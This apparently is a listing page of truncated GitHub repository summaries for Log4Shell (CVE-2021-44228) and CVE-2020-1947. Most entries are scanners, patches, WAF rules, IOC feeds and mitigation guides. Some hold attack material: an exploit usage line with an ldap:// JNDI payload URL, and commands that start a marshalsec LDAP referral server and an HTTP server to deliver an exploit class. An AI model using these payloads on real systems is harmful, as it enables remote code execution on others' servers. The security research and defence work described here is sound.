CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

Log4jPatcher

Log4jPatcher A Java Agent based mitigation for Log4j2 JNDI exploits. This agent employs 2 patches: Disabling all Lookup conversions on supported Log4j versions in org.apache.logging.log4j.core.pattern.MessagePatternConverter by setting noLookups to true in the constructor. Disabling the...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

Log4jPatch

-- This repository has been archived -- Further development of this tool will continue at corretto/hotpatch-for-apache-log4j2. Thanks for sharing, commenting, trying it out and contributing to this project! Log4jPatch This is a POC of a simple tool which injects a Java agent into a running JVM...

CVE-2021-44228

CVE-2021-44228 Analysis How does it work? Below is a detailed process of a remote injection case by exploiting log4shell vulnerability. First, there are 3 part we need to know: 1. Log4j2 allows for the logging of data using a feature called message lookup substitution , where log messages can...

ModSec-log4j2

Testing the ModSec rule Prerequisites Have docker installed Have Java installed on your machine Running the test Perform a git clone of the repository Execute the command below to start the WAF ModSec and the vulnerable application docker stack deploy -c docker-compose.yml WAF Extract the...

CVE-2021-44228-example

This is an example of exploiting CVE-2021-44228 A Log4J2 RCE vulnerability I'm not responsible for this code. PLEASE do not use maliciously CVE-2021-44228 : This vulnerability allows you to execute arbitrary code by logging a malicious message on the target machine. For example, you can use it in...

Log4j_CVE-2021-44228

Log4j CVE-2021-44228 Solutions Think about if you actually really require Log4j2 Core. Most likely, your own code or some 3rd-party library you depend on only need Log4j's Logging API façade - but can log to another back-end. You could therefore simply completely exclude the...

CVE-2021-44228-Scanner

log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch. It also supports nested JAR file scanning and patch. It also detects CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0, CVE-2021-44832 log4j 2.17.0, CVE-2021-4104, CVE-2019-1757...

log4j2_vul_local_scanner

Log4j2 Vulnerability Local Scanner CVE-2021-45046 Log4j vulnerability local detection script, scans all java processes on the host, detects whether a vulnerable log4j-core jar package has been introduced, and whether it may be subject to remote code execution attacks CVE-2021-45046. Uploads the...

cloudrasp-log4j2

CloudArmor · Runtime Application Self-Protection Module - Log4j2 Version 简体中文 This project is a local version from CloudArmor specifically built for defending Log4j2 CVE-2021-44228 . No network connection is required to run this project. Please DO TESTING before deploying it to production...

log4j2-web-vulnerable

log4j2-web-vulnerable A simple vulnerable web app for log4j2 RCECVE-2021-44228 exploit test. Start Run java -jar target/gs-handling-form-submission-0.1.0.jar. Access http://127.0.0.1/greeting If you want to compile yourself, use jdk version 8u20...

cve-2021-44228-qingteng-patch

Qingteng log4j2-patch https://github.com/qingtengyun/cve-2021-44228-qingteng-patch Fixes CVE-2021-44228 for log4j2, using the Instrumentation API provided by the JVM to modify existing bytecode loaded into the JVM. Without restarting the Java process, it modifies the lookup method of...

JavaSecLab

JavaSecLab - A Comprehensive Java Vulnerability Lab 中文文档 Overview JavaSecLab is a comprehensive Java vulnerability lab for application security learning, code audit practice, secure development training, and security tool evaluation. Built on Spring Boot, it provides vulnerable code, fixed...

log4shell-mitigation

Details and Mitigation Strategy for log4j2 RCE Vulnerability Visit this Youtube video for additional details. https://youtu.be/jqWdwTeGRK0 This is a quick post on the mitigation for CVE-2021-44228 Security Vulnerability aka Log4Shell and LogJam found in log4j2 Disclaimer All the information and...

log4shell-iocs

Log4Shell-IOCs IOC feeds curated by WatchGuard Threat Lab that contain recent attempts to probe or exploit CVE-2021-44228 in Log4j2 Analyst Comments 2021-12-17 Threats shared in this feed should be used for THREAT HUNTING and added to a WATCHLIST. We strongly recommend NOT adding them to a...

log4j-test

Simple Example showing CVE-2021-44228 in action Explanation To reproduce this issue, I am removing the transitive dependency for logging from SpringBoot. Instead, I am bringing in spring-boot-starter-log4j2 spring-boot-starter-log4j2 brings in log4j-core which has the remote code exploit RCE...

log4j2-rce-poc

Log4j2 RCE Vulnerability POC A bare minimum proof-of-concept for Log4j2 JNDI Remote-Code-Execution vulnerability CVE-2021-44228. This is intended for educational purposes to help people who are not security researchers to understand how it works and how large the impact is. The POC bypasses the...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat Preview Setup Start tomcat server git clone cd apache-tomcat-10.0.14/bin startup.bat Serve the exploit class cd exploit py -m http.server 8888 cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Triage: CVE-2021-44228 Log4Shell / Log4j For this lab, the goal was to triage another well-known real-world vulnerability, Log4Shell, one of the most widely exploited vulnerabilities in recent years due to how common the affected library was across enterprise software. Step 1: Open the CVE in NVD...